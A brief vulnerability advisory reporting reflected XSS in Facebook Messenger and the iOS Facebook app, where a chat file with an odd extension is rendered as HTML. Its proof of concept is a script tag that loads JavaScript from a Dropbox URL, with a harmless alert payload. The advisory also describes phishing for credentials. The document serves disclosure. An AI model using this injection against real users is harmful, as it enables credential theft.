Facebook Messenger / App MIME Sniffing Cross Site Scripting

`I. VULNERABILITY  
-------------------------  
Reflected XSS Attacks vulnerabilities used MIME Sniffing in Facebook  
Messenger and Facebook App for iOS.  
  
II. BACKGROUND  
-------------------------  
Facebook is a social networks  
  
III. DESCRIPTION  
-------------------------  
Has been detected a Reflected XSS vulnerability by MIME Sniffing.  
The code injection is done through chat use send file.  
IV. PROOF OF CONCEPT  
-------------------------  
The application does not validate the contente of file send, only  
valitation of extention.  
Content of file face.jjjj:  
<script src="https://www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1">  
</script>  
Content of file face.js:  
alert("Alert XSS Chat send File Facebook Messenger");  
  
  
  
  
  
  
V. BUSINESS IMPACT  
-------------------------  
An attacker can execute arbitrary HTML or script code in a targeted  
user's browser, , that allows the execution of arbitrary HTML/script code  
to be executed in the context of the victim user's browser.  
An attacker can make fake facebook site requesting the User and password to  
view the contents of the file, thus having access to data of the victim.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Tested IPAD iOS version 7.1.2, Facebook APP Vesion 14.0, Messenger Facebook  
Version 10.0.  
  
By William Costa  
william.costa no spam gmail.com  
  
  
`